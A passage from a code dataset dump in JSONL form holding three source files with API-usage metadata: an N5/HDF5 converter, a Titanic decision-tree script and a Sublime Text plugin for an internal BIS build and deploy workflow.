"name"}, {"api_name": "utils._fill", "line_number": 143, "usage_type": "call"}, {"api_name": "rcmod.rc", "line_number": 143, "usage_type": "name"}, {"api_name": "utils._fill", "line_number": 144, "usage_type": "call"}, {"api_name": "rcmod.rc", "line_number": 144, "usage_type": "name"}, {"api_name": "utils._fill", "line_number": 145, "usage_type": "call"}, {"api_name": "rcmod.rc", "line_number": 145, "usage_type": "name"}, {"api_name": "utils._fill", "line_number": 146, "usage_type": "call"}, {"api_name": "rcmod.rc", "line_number": 146, "usage_type": "name"}, {"api_name": "utils._fill", "line_number": 147, "usage_type": "call"}, {"api_name": "rcmod.rc", "line_number": 147, "usage_type": "name"}, {"api_name": "utils._fill", "line_number": 148, "usage_type": "call"}, {"api_name": "rcmod.rc", "line_number": 148, "usage_type": "name"}, {"api_name": "utils._fill", "line_number": 149, "usage_type": "call"}, {"api_name": "rcmod.rc", "line_number": 149, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 176, "usage_type": "call"}, {"api_name": "utils._dot_dict", "line_number": 213, "usage_type": "call"}, {"api_name": "numpy.ravel_multi_index", "line_number": 326, "usage_type": "call"}, {"api_name": "matplotlib.gridspec.SubplotSpec", "line_number": 341, "usage_type": "call"}, {"api_name": "matplotlib.gridspec", "line_number": 341, "usage_type": "name"}, {"api_name": "utils._fill", "line_number": 351, "usage_type": "call"}, {"api_name": "utils._fill", "line_number": 352, "usage_type": "call"}, {"api_name": "numpy.atleast_1d", "line_number": 353, "usage_type": "call"}, {"api_name": "utils._fill", "line_number": 353, "usage_type": "call"}, {"api_name": "numpy.atleast_1d", "line_number": 354, "usage_type": "call"}, {"api_name": "utils._fill", "line_number": 354, "usage_type": "call"}, {"api_name": "numpy.atleast_1d", "line_number": 355, "usage_type": "call"}, {"api_name": "utils._fill", "line_number": 355, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 355, "usage_type": "call"}, {"api_name": "numpy.atleast_1d", "line_number": 356, "usage_type": "call"}, {"api_name": "utils._fill", "line_number": 356, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 356, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 358, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 360, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 362, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 364, "usage_type": "call"}, {"api_name": "matplotlib.gridspec.GridSpec", "line_number": 401, "usage_type": "attribute"}, {"api_name": "matplotlib.gridspec", "line_number": 401, "usage_type": "name"}, {"api_name": "matplotlib.gridspec.GridSpecFromSubplotSpec", "line_number": 403, "usage_type": "attribute"}, {"api_name": "matplotlib.gridspec", "line_number": 403, "usage_type": "name"}]}
+{"seq_id": "124689049", "text": "# helper functions to convert to and from different formats\n# - hdf5\n# TODO implement png, tiff, dvid\nfrom __future__ import print_function\nimport os\nfrom concurrent import futures\nfrom itertools import product\n\ntry:\n    import h5py\n    WITH_H5 = True\nexcept ImportError:\n    print(\"h5py is not installed, conversions to h5 are not possible\")\n    WITH_H5 = False\n\nfrom .file import File\nfrom .util import blocking\n\n\nif WITH_H5:\n\n    def convert_n5_to_h5(in_path,\n                         out_path,\n                         in_path_in_file,\n                         out_path_in_file,\n                         out_chunks,\n                         n_threads,\n                         out_blocks=None,\n                         **h5_kwargs):\n        assert os.path.exists(in_path), in_path\n        f_n5 = File(in_path, use_zarr_format=False)\n        ds_n5 = f_n5[in_path_in_file]\n        shape = ds_n5.shape\n        # modify h5 arguments\n        out_dtype = h5_kwargs.pop('dtype', ds_n5.dtype)\n        if out_blocks is None:\n            out_blocks = out_chunks\n\n        with h5py.File(out_path) as f_h5:\n            ds_h5 = f_h5.create_dataset(out_path_in_file,\n                                        dtype=out_dtype,\n                                        shape=shape,\n                                        chunks=out_chunks,\n                                        **h5_kwargs)\n\n            def convert_chunk(bb):\n                # print(\"Converting chunk \", chunk_ids, \"/\", chunks_per_dim)\n                ds_h5[bb] = ds_n5[bb].astype(out_dtype, copy=False)\n\n            with futures.ThreadPoolExecutor(max_workers=n_threads) as tp:\n                tasks = [tp.submit(convert_chunk, bb)\n                         for bb in blocking(shape, out_blocks)]\n                [t.result() for t in tasks]\n\n            # copy attributes\n            h5_attrs = ds_h5.attrs\n            n5_attrs = ds_n5.attrs\n            for key, val in n5_attrs.items():\n                h5_attrs[key] = val\n\n    def convert_h5_to_n5(in_path,\n                         out_path,\n                         in_path_in_file,\n                         out_path_in_file,\n                         out_chunks,\n                         n_threads,\n                         out_blocks=None,\n                         **n5_kwargs):\n        assert os.path.exists(in_path), in_path\n        if out_blocks is None:\n            out_blocks = out_chunks\n\n        f_n5 = File(out_path, use_zarr_format=False)\n        with h5py.File(in_path, 'r') as f_h5:\n            ds_h5 = f_h5[in_path_in_file]\n            shape = ds_h5.shape\n\n            # modify n5 arguments\n            out_dtype = n5_kwargs.pop('dtype', ds_h5.dtype)\n            if 'compression' not in n5_kwargs:\n                n5_kwargs['compression'] = 'raw'\n            ds_n5 = f_n5.create_dataset(out_path_in_file,\n                                        dtype=out_dtype,\n                                        shape=shape,\n                                        chunks=out_chunks,\n                                        **n5_kwargs)\n\n            def convert_chunk(bb):\n                # print(\"Converting chunk \", chunk_ids, \"/\", chunks_per_dim)\n                ds_n5[bb] = ds_h5[bb].astype(out_dtype, copy=False)\n\n            with futures.ThreadPoolExecutor(max_workers=n_threads) as tp:\n                tasks = [tp.submit(convert_chunk, bb)\n                         for bb in blocking(shape, out_blocks)]\n                [t.result() for t in tasks]\n\n            # copy attributes\n            h5_attrs = ds_h5.attrs\n            n5_attrs = ds_n5.attrs\n            for key, val in h5_attrs.items():\n                n5_attrs[key] = val\n", "sub_path": "src/python/module/z5py/converter.py", "file_name": "converter.py", "file_ext": "py", "file_size_in_byte": 3650, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.exists", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "file.File", "line_number": 31, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 39, "usage_type": "call"}, {"api_name": "concurrent.futures.ThreadPoolExecutor", "line_number": 50, "usage_type": "call"}, {"api_name": "concurrent.futures", "line_number": 50, "usage_type": "name"}, {"api_name": "util.blocking", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path", "line_number": 69, "usage_type": "attribute"}, {"api_name": "file.File", "line_number": 73, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 74, "usage_type": "call"}, {"api_name": "concurrent.futures.ThreadPoolExecutor", "line_number": 92, "usage_type": "call"}, {"api_name": "concurrent.futures", "line_number": 92, "usage_type": "name"}, {"api_name": "util.blocking", "line_number": 94, "usage_type": "call"}]}
+{"seq_id": "468813748", "text": "import os\nos.environ[\"PATH\"] += os.pathsep + 'C:/Program Files (x86)/Graphviz2.38/bin/'\nimport datetime\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport graphviz\n\nfrom sklearn.tree import DecisionTreeClassifier, export_graphviz\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\n\n\ndf = pd.read_csv('../input/train.csv', header=0)\ncol_y = ['Survived']\ncol_x = ['Pclass', 'Sex', 'Age', 'SibSp', 'Parch']\ndf = df[col_y + col_x].dropna(axis=0)\n\nle2 = LabelEncoder()\nle2.fit(df.Survived.unique())\n\nle = LabelEncoder()\nle.fit(df.Sex.unique())\ndf.Sex = le.transform(df.Sex)\n\nX = df.drop('Survived', axis=1)\ny = le2.transform(df['Survived'].values)\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.25, random_state=10)\n\ntree = DecisionTreeClassifier(criterion='entropy')\ntree = tree.fit(X=X_train, y=y_train)\ny_pred = tree.predict(X_test)\naccuracy = accuracy_score(y_test, y_pred)\ntitle = str(str(datetime.datetime.now().date()) + ' - Titanic Survival Decision tree - Accuracy: {}'.format(accuracy))\n\nprint('Titanic - Machine Learning from Disaster')\nprint(str(datetime.datetime.now().date()))\nprint()\nprint('Train size: {}'.format(X_train[['Pclass']].count(axis=0).values))\nprint('Test size: {}'.format(X_test[['Pclass']].count(axis=0).values))\nprint('Accuracy: {}'.format(accuracy))\n\nlabel_names = ['0', '1']\ngraph_data = export_graphviz(tree, feature_names=col_x,\nclass_names=label_names, filled=True, rounded=True, out_file=None)\ngraph = graphviz.Source(graph_data)\ngraph.render('Titanic Decision Tree Classifier')\ngraph\nprint()\nprint('File \"Titanic Decision Tree Classifier created')", "sub_path": "scripts/tree.py", "file_name": "tree.py", "file_ext": "py", "file_size_in_byte": 1723, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.environ", "line_number": 2, "usage_type": "attribute"}, {"api_name": "os.pathsep", "line_number": 2, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 16, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 21, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 24, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 32, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 36, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 36, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 39, "usage_type": "attribute"}, {"api_name": "sklearn.tree.export_graphviz", "line_number": 46, "usage_type": "call"}, {"api_name": "graphviz.Source", "line_number": 48, "usage_type": "call"}]}
+{"seq_id": "578533534", "text": "#===============================================================================\n#\n#  ####   #####  #####         #####  #   #  ####   #      #####  #   #  #####\n#  #   #    #    #             #      #   #  #   #  #        #    ## ##  #\n#  ####     #    #####  #####  #####  #   #  ####   #        #    # # #  ####\n#  #   #    #        #             #  #   #  #   #  #        #    #   #  #\n#  ####   #####  #####         #####   ###   ####   #####  #####  #   #  #####\n#\n#===============================================================================\n#   IMPORTS!\nimport sublime\nimport sublime_plugin\nimport re\nimport os\nimport sys\nimport datetime\nimport subprocess\nimport threading\nimport http.client\nimport urllib\nimport ntpath\nfrom getpass import getuser\nfrom shutil import copyfile\nfrom random import randint\nfrom winreg import *\n#===============================================================================\n#\n#===============================================================================\n#\n#  #####   ###   #   #  #####         ####   #   #  #####  #      ####\n#  #      #   #  #   #  #             #   #  #   #    #    #      #   #\n#  #####  #####  #   #  ####   #####  ####   #   #    #    #      #   #\n#      #  #   #   # #   #             #   #  #   #    #    #      #   #\n#  #####  #   #    #    #####         ####    ###   #####  #####  ####\n#\n#===============================================================================\n#   SAVE FILE! - BisSaveBuild.py\nclass BisSaveBuild(sublime_plugin.EventListener):\n\n    def on_pre_save(self, view):\n        t = os.path.getmtime(view.file_name())\n        self.dt = datetime.datetime.fromtimestamp(t).strftime(\"%Y%m%d %H%M%S\")\n\n    def on_post_save(self, view):\n        global_settings = sublime.load_settings('BIS.sublime-settings')\n\n        # See if we should build. A project level build_on_save setting\n        # takes precedence. To be backward compatible, we assume the global\n        # build_on_save to be true if not defined.\n        should_build = view.settings().get(\n            'build_on_save', global_settings.get('build_on_save', True))\n        if not should_build:\n            return\n\n        # Capture line2 of the page to determine if Status Page\n        statline, statpage = get_statpage(view)\n\n        # Get User variables\n        appdata, app, appname, file_name, site = get_user_vars(statline,statpage,global_settings,view)\n\n        # Get Path\n        file_path = get_file_path(site,appdata,app)\n\n        # Write file save to site\n        chg_text = \"modified\" + \",\" + file_name + \", file, BisSaveBuild,\" + self.dt[:8] + \",\" + self.dt[9:]\n        write_file(file_path,chg_text)\n#===============================================================================\n#\n#===============================================================================\n#\n#  #####   ###    ####  #   #  #####\n#  #      #   #  #      #   #  #\n#  #####  #   #  #      #   #  #####\n#  #      #   #  #      #   #      #\n#  #       ###    ####   ###   #####\n#\n#===============================================================================\n#   Do task on focus\nclass BisCheckMapper(sublime_plugin.EventListener):\n\n    def on_activated_async(self, view):\n        mapper_status(view)\n\ndef mapper_status(view):\n    #Needed Variables\n    windowSettings = sublime.active_window().settings()\n    global_settings = sublime.load_settings('BIS.sublime-settings')\n    focus_filter = global_settings.get('focus_filter', '.*')\n    last_view = windowSettings.get('last_view')\n    file_name = view.file_name()\n    #\n    if file_name != None:\n        if re.search(focus_filter, file_name) != None:\n            if view.id() != last_view:\n                    #\n                    totalLines = len(view.lines(sublime.Region(0, view.size()))) + 1\n                    pos = file_name.find('site-')\n                    sl = file_name[pos+5].upper()\n                    #\n                    connection = http.client.HTTPSConnection('quotedev.nstarco.com')\n                    headers = {'Content-type': 'application/x-www-form-urlencoded'}\n                    data = urllib.parse.urlencode({'file': file_name, 'lines': totalLines, 'site': sl})\n                    connection.request('POST','/public/default.asp?Category=ICEMONITOR&Service=SUBLIMEAJAX', data, headers)\n                    response = connection.getresponse().read().strip().decode(\"utf-8\")\n                    connection.close()\n                    #\n                    sPos = response.find('[STATUS]')\n                    view.show_popup(response[8:sPos], location=view.visible_region().begin(), max_width=1000)\n                    view.set_status('derp', response[sPos+8:])\n                    windowSettings.set('last_view',view.id())\n#===============================================================================\n#\n#===============================================================================\n#\n#  ####   #####  #   #  #####  ####   #####\n#  #   #  #      #   #  #      #   #    #\n#  ####   ####   #   #  ####   ####     #\n#  #  #   #       # #   #      #  #     #\n#  #   #  #####    #    #####  #   #    #\n#\n#===============================================================================\nclass GitRevertFileCommand(sublime_plugin.WindowCommand):\n    def run(self):\n        filename = ntpath.basename(self.window.active_view().file_name())\n\n        # Check if sure: yes? confirm, no? continue\n        dorevert = sublime.ok_cancel_dialog(\"Are you sure you want to clean changes in '\"+filename+\"'?\\n\\n This action is irreversible!\",\"Continue\")\n        if dorevert == False:\n            return\n\n        self.window.run_command(\"git_checkout_current_file\")\n#===============================================================================\n#\n#===============================================================================\n#\n#   ####  #####  ####   #             #      #####  #   #  #####\n#  #        #    #   #  #             #        #    ##  #  #\n#  #        #    ####   #             #        #    # # #  ####\n#  #        #    #  #   #             #        #    #  ##  #\n#   ####    #    #   #  #####         #####  #####  #   #  #####\n#\n#===============================================================================\n#   OPEN BIS CONTROL LINE! - BisCmd.py\nclass BisCtrlCommand(sublime_plugin.WindowCommand):\n\n    def run(self):\n        self.window.show_input_panel(\"BIS Control Line:\", \"\", self.on_done, None, None)\n        pass\n\n    def on_done(self, text):\n        if self.window.active_view():\n            self.window.active_view().run_command(\"app_current\", {\"text\": text})\n#===============================================================================\n#\n#===============================================================================\n#\n#  #####  #   #  ####   #      #   #   ###   #####   ####  #   #  #####  ####\n#  #      #   #  #   #  #      #   #  #   #    #    #      #   #  #      #   #\n#  #####  #   #  ####   #      # # #  #####    #    #      #####  ####   ####\n#      #  #   #  #   #  #      ## ##  #   #    #    #      #   #  #      #  #\n#  #####   ###   ####   #####  #   #  #   #    #     ####  #   #  #####  #   #\n#\n#===============================================================================\n#   OPEN SUBLWATCHER!\nclass OpenSublwatcherCommand(sublime_plugin.TextCommand):\n    def run(self, edit, site):\n        aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)\n        aKey = OpenKey(aReg, r\"SOFTWARE\\Wow6432Node\\Unisys\\BIS Clients\")\n        # try:\n        #     MPCVer=QueryValueEx(aKey, \"GIBIS\")\n        # except EnvironmentError:\n        MPCVer=['5.5','MPCVer-DEFAULT']\n\n        appdata = os.environ['appdata']\n        print(MPCVer)\n        dst1 = appdata+'\\\\Unisys\\\\Clients\\\\MPC'+MPCVer[0]+'\\\\Scripts\\\\SITE-'+site+'-SUBLWATCHER.ATR'\n        if not os.path.exists(dst1):\n            src1 = 'S:\\\\SUBLWATCHER_SCRIPTS\\\\SITE-'+site+'-SUBLWATCHER.ATR'\n            src2 = 'S:\\\\SUBLWATCHER_SCRIPTS\\\\SITE-'+site+'-SUBLWATCHER.SCR'\n            dst2 = appdata+'\\\\Unisys\\\\Clients\\\\MPC'+MPCVer[0]+'\\\\Scripts\\\\SITE-'+site+'-SUBLWATCHER.SCR'\n            copyfile(src1,dst1)\n            copyfile(src2,dst2)\n        th = SublwatcherThread(site)\n        th.start()\n\nclass SublwatcherThread(threading.Thread):\n    def __init__(self, site):\n        self.site = site.upper()\n        threading.Thread.__init__(self)\n\n    def run(self):\n        subprocess.call('C:\\\\Unisys\\\\Clients\\\\MPC\\\\mpcapi32.exe -cSITE-'+self.site+'-SUBLWATCHER')\n#===============================================================================\n#\n#===============================================================================\n#   RUN MAJORITY OF TASKS! - Sublwatcher.py\nclass AppCurrentCommand(sublime_plugin.TextCommand):\n\n    def run(self, edit, text):\n        global_settings = sublime.load_settings('BIS.sublime-settings')\n\n        # Check if PROD deploy: yes? confirm, no? continue\n        deploy = deploy_conf(text)\n        if deploy == False:\n            return\n\n        # Capture line2 of the page to determine if Status Page\n        statline, statpage = get_statpage(self.view)\n\n        # Get User variables\n        appdata, app, appname, file_name, site = get_user_vars(statline,statpage,global_settings,self.view)\n\n        #do git_path stuff if needed\n        if text[:6].upper() == \"DEPLOY\" or text[:5].upper() == \"BUILD\":\n            #git_path_file = appdata + '\\\\' + app + '\\\\GITPATH.INF'\n            status = git_path()\n            path_error = \"\"\n            if status[0] == \"0\":\n                path_error += \"\\ngit.exe not found in environment path!\"\n            if status[1] == \"0\":\n                path_error += \"\\n sh.exe not found in environment path!\"\n            if len(path_error) > 0:\n                sublime.error_message(\"Operation Error:\"+path_error)\n                return\n\n        # Get Path\n        file_path = get_file_path(site,appdata,app)\n\n        # Create File TEXT\n        chg_text = \"BisCmd\" + \",\" + file_name + \",\" + \"input\" + \",\" + text      #DEFAULT!\n        if statpage == True:\n            if text[:6].upper() == \"DEPLOY\" or text[:6].upper() == \"EXPORT\" or text[:5].upper() ==\"BUILD\":\n                chg_text = \"BisCmd\" + \",\" + file_name + \",\" + \"input\" + \",\" + text + \",STATUS,\" + appname\n            else:\n                sublime.error_message(text + \"\\ncannot be used on the status screen! [ yet? ;) ]\")\n                return\n\n        # Write file to path\n        write_file(file_path,chg_text)\n#===============================================================================\n#\n#===============================================================================\n#\n#  ####   #####  #####  #####\n#  #   #    #    #      #\n#  #   #    #    ####   ####\n#  #   #    #    #      #\n#  ####   #####  #      #\n#\n#===============================================================================\n#   GET PARAMS FOR IBLD RESOURCE MANIPULATION\nclass DiffOtherCommand(sublime_plugin.WindowCommand):\n    def run(self, site):\n        self.text = 'DIFF'\n        self.counter = 0\n        if site == 'CURRENT':\n            self.prompts = [\"DIFF w/ report(ex. 1B200):\"]\n        else:\n            self.prompts = [\"DIFF w/ report(ex. 1B200):\",\"DIFF w/ Site Letter(ex. X):\"]\n        self.show_prompt()\n\n    def on_done(self, text):\n        if self.counter == 1:\n            self.text += \" -S \" + text\n        else:\n            self.text += \" \" + text\n        self.counter += 1\n        if self.counter < len(self.prompts):\n            self.show_prompt()\n        else:\n            self.input_done()\n\n    def input_done(self):\n        if self.window.active_view():\n            self.window.active_view().run_command(\"app_current\", {\"text\": self.text})\n\n    def show_prompt(self):\n        self.window.show_input_panel(self.prompts[self.counter], \"\", self.on_done, None, None)\n#===============================================================================\n#\n#===============================================================================\n#\n#  #####  ####   #      ####\n#    #    #   #  #      #   #\n#    #    ####   #      #   #\n#    #    #   #  #      #   #\n#  #####  ####   #####  ####\n#\n#===============================================================================\n#   GET PARAMS FOR IBLD RESOURCE MANIPULATION\nclass IbldInputCommand(sublime_plugin.WindowCommand):\n    def run(self, icmd, itype, iscript):\n        if iscript == \"Y\":\n            self.webscript = \",Y\"\n        else:\n            self.webscript = \"\"\n        if itype == \"S\":\n            self.ptype = \"Service\"\n        else:\n            self.ptype = \"Resource\"\n        self.text = \"IBLD,\" + icmd + \",\" + itype\n        self.counter = 0\n        self.prompts = [\"Appname(or CAB):\", self.ptype + \" Name:\"]\n        self.show_prompt()\n\n    def on_done(self, text):\n        self.text += \",\" + text\n        self.counter += 1\n        if self.counter < len(self.prompts):\n            self.show_prompt()\n        else:\n            self.input_done()\n\n    def input_done(self):\n        if self.window.active_view():\n            self.window.active_view().run_command(\"app_current\", {\"text\": self.text + self.webscript})\n\n    def show_prompt(self):\n        self.window.show_input_panel(self.prompts[self.counter], \"\", self.on_done, None, None)\n#===============================================================================\n#\n#===============================================================================\n#\n#  #####  #   #  #   #   ####  #####  #####  #####  #   #  #####\n#  #      #   #  ##  #  #        #      #    #   #  ##  #  #\n#  ####   #   #  # # #  #        #      #    #   #  # # #  #####\n#  #      #   #  #  ##  #        #      #    #   #  #  ##      #\n#  #       ###   #   #   ####    #    #####  #####  #   #  #####\n#\n#===============================================================================\n#   DEPLOY_CONF - display confirmation dialog for PROD deploy\ndef deploy_conf(text):\n    if text.upper() == \"DEPLOY -E PROD\":\n        dirtquote = randint(1, 10)\n        if dirtquote == 1:\n            quote = \"\\\"My name is Joe Dirte(deer-tay), I added an e to the end, cause it sounds cool.\\\"\\n ~Joe Dirt, Joe Dirt\\n\\n\\n\"\n        elif dirtquote == 2:\n            quote = \"\\\"Life's a garden, dig it.\\\"\\n ~Joe Dirt, Joe Dirt\\n\\n\\n\"\n        elif dirtquote == 3:\n            quote = \"\\\"People say Joe Dirt's a weird name, and how cool am I.\\\"\\n ~Joe Dirt, Joe Dirt\\n\\n\\n\"\n        elif dirtquote == 3:\n            quote = \"\\\"Luckily, my neck broke my fall.\\\"\\n ~Joe Dirt, Joe Dirt\\n\\n\\n\"\n        elif dirtquote == 4:\n            quote = \"\\\"I got the poo on me!\\\"\\n ~Joe Dirt, Joe Dirt\\n\\n\\n\"\n        elif dirtquote == 5:\n            quote = \"\\\"The pen is blue, the pen is blue, the g**d*** pen is blue!\\\"\\n ~Fletcher, Liar Liar\\n\\n\\n\"\n        elif dirtquote == 6:\n            quote = \"\\\"Uh-oh. You've found the claw's only weakness... Sub-zero temperatures![Splatting sound]\\\"\\n ~Fletcher, Liar Liar\\n\\n\\n\"\n        elif dirtquote == 7:\n            quote = \"\\\"There's so much more room for activities!\\\"\\n ~Brennan & Dale, Step Brothers\\n\\n\\n\"\n        else:\n            quote = \"\\n\"\n\n        deploy = sublime.ok_cancel_dialog(quote + \"You are about to Deploy to PRODUCTION!\",\"Continue\")\n    else:\n        deploy = True\n    return deploy\n#===============================================================================\n#\n#===============================================================================\n#   GET_STATPAGE - returns statline and statpage\ndef get_statpage(cur_view):\n    statline = cur_view.substr(cur_view.line(cur_view.text_point(1,1)))\n    # Check if GIT STATUS page or not\n    if statline[:6] == \"Local:\":\n        statpage = True\n    else:\n        statpage = False\n    return statline, statpage\n#===============================================================================\n#\n#===============================================================================\n#   GET_FILE_PATH - returns file_path based on site passed in\ndef get_file_path(site,appdata,app):\n    if site == 'NONE':\n        bis_save_file = '\\\\changes.txt'\n    else:\n        bis_save_file = 'site-' + site + '\\\\changes.txt'\n    file_path = appdata + '\\\\' + app + '\\\\' + bis_save_file\n    return file_path\n#===============================================================================\n#\n#===============================================================================\n#   GET_USER_VARS - returns path and user variables\ndef get_user_vars(statline,statpage,global_settings,cur_view):\n    appdata = os.environ['USERPROFILE']\n    app = 'sublwatcher'\n    appname = 'NA'                                                     #DEFAULT!\n    if statpage == True:\n        pos = statline.find('site-')\n        pos = pos + 5\n        site = statline[pos]\n        pos = pos + 2\n        appname = statline[pos:]\n        file_name = appdata + '\\\\' + app + '\\\\site-' + site + '\\\\' + appname + '\\\\'\n    else:\n        filename_filter = global_settings.get('filename_filter', '.*')\n        file_name = cur_view.file_name()\n        if not re.search(filename_filter, file_name):\n            file_name = appdata + '\\\\' + app + '\\\\'\n            site = 'NONE'\n            return appdata, app, appname, file_name, site\n        pos = file_name.find('site-')\n        pos = pos + 5\n        site = file_name[pos]\n    return appdata, app, appname, file_name, site\n#===============================================================================\n#\n#===============================================================================\n#   WRITE_FILE - writes the file out to the correct directory\ndef write_file(file_path,chg_text):\n    with open(file_path, \"w\") as textfile:\n        textfile.write(chg_text)\n    return\n#===============================================================================\n#\n#===============================================================================\n#   GIT_PATH - finds git.exe and puts path into SUBLWATCHER\\GITPATH.INF\ndef git_path():\n    # GIT.EXE path\n    process = subprocess.Popen('where git.exe', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    git_out = str(process.stdout.read())\n    if git_out == \"b''\":\n        status = \"0\"\n    else:\n        status = \"1\"\n    # SH.EXE path\n    process = subprocess.Popen('where sh.exe', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    sh_out = str(process.stdout.read())\n    if sh_out == \"b''\":\n        status += \"0\"\n    else:\n        status += \"1\"\n    ## GIT.EXE path\n    #process = subprocess.Popen('where git.exe', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    #git_out = str(process.stdout.read())\n    #pos = git_out.find('git.exe')\n    #pos = pos + 7\n    #git_out = git_out[2:pos]\n    #git_out = git_out.replace('\\\\\\\\', '\\\\')\n    #out = git_out + \"\\n\" + sh_out\n    #write_file(git_path_file,out)\n    return status\n#===============================================================================\n#\n#===============================================================================\n#\n#  #####  #####  #####  #####          ###   ####   #####   ###\n#    #    #      #        #           #   #  #   #  #      #   #\n#    #    ####   #####    #           #####  ####   ####   #####\n#    #    #          #    #           #   #  #  #   #      #   #\n#    #    #####  #####    #           #   #  #   #  #####  #   #\n#\n#===============================================================================\n#class SublTestCommand(sublime_plugin.TextCommand):\n#\n#    def run(self, edit):\n#\n#        # Get Path and User variables\n#        global_settings = sublime.load_settings('BIS.sublime-settings')\n#        appdata = os.environ['USERPROFILE']\n#        app = 'sublwatcher'\n#        line2 = self.view.substr(self.view.line(self.view.text_point(1,1)))\n#        # Check if GIT STATUS page or not\n#        if line2[:6] == \"Local:\":\n#            statpage = True\n#        else:\n#            statpage = False\n#\n#        if statpage == True:\n#            pos = line2.find('site-')\n#            pos = pos + 5\n#            site = line2[pos]\n#            pos = pos + 2\n#            appname = line2[pos:]\n#\n#\n#        print(\"1==============================================================\")\n#        print(self.view.text_point(1,1))\n#        print(\"2==============================================================\")\n#        print(self.view.line(self.view.text_point(1,1)))\n#        print(\"3==============================================================\")\n#        print(self.view.substr(self.view.line(self.view.text_point(1,1))))\n#        print(\"4==============================================================\")\n#        print(line2[:6])\n#        print(\"5==============================================================\")\n#        print(\"[\" + str(statpage) + \"}   S[\" + site + \"]   A[\" + appname + \"]\")\n#\n#===============================================================================\n", "sub_path": "bis_sublime.py", "file_name": "bis_sublime.py", "file_ext": "py", "file_size_in_byte": 20792, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sublime_plugin.EventListener", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.path.getmtime", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 42, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 42, "usage_type": "attribute"}, {"api_name": "sublime.load_settings", "line_number": 45, "usage_type": "call"}, {"api_name": "sublime_plugin.EventListener", "line_number": 79, "usage_type": "attribute"}, {"api_name": "sublime.active_window", "line_number": 86, "usage_type": "call"}, {"api_name": "sublime.load_settings", "line_number": 87, "usage_type": "call"}, {"api_name": "re.search", "line_number": 93, "usage_type": "call"}, {"api_name": "sublime.Region", "line_number": 96, "usage_type": "call"}, {"api_name": "http.client.client.HTTPSConnection", "line_number": 100, "usage_type": "call"}, {"api_name": "http.client.client", "line_number": 100, "usage_type": "attribute"}, {"api_name": "http.client", "line_number": 100, "usage_type": "name"}, {"api_name": "urllib.parse.urlencode", "line_number": 102, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 102, "usage_type": "attribute"}, {"api_name": "sublime_plugin.WindowCommand", "line_number": 122, "usage_type": "attribute"}, {"api_name": "ntpath.basename", "line_number": 124, "usage_type": "call"}, {"api_name": "sublime.ok_cancel_dialog", "line_number": 127, "usage_type": "call"}, {"api_name": "sublime_plugin.WindowCommand", "line_number": 144, "usage_type": "attribute"}, {"api_name": "sublime_plugin.TextCommand", "line_number": 165, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 174, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 177, "usage_type": "call"}, {"api_name": "os.path", "line_number": 177, "usage_type": "attribute"}, {"api_name": "shutil.copyfile", "line_number": 181, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 182, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 186, "usage_type": "attribute"}, {"api_name": "threading.Thread.__init__", "line_number": 189, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 189, "usage_type": "attribute"}, {"api_name": "subprocess.call", "line_number": 192, "usage_type": "call"}, {"api_name": "sublime_plugin.TextCommand", "line_number": 197, "usage_type": "attribute"}, {"api_name": "sublime.load_settings", "line_number": 200, "usage_type": "call"}, {"api_name": "sublime.error_message", "line_number": 223, "usage_type": "call"}, {"api_name": "sublime.error_message", "line_number": 235, "usage_type": "call"}, {"api_name": "sublime_plugin.WindowCommand", "line_number": 252, "usage_type": "attribute"}, {"api_name": "sublime_plugin.WindowCommand", "line_number": 291, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 334, "usage_type": "call"}, {"api_name": "sublime.ok_cancel_dialog", "line_number": 354, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 386, "usage_type": 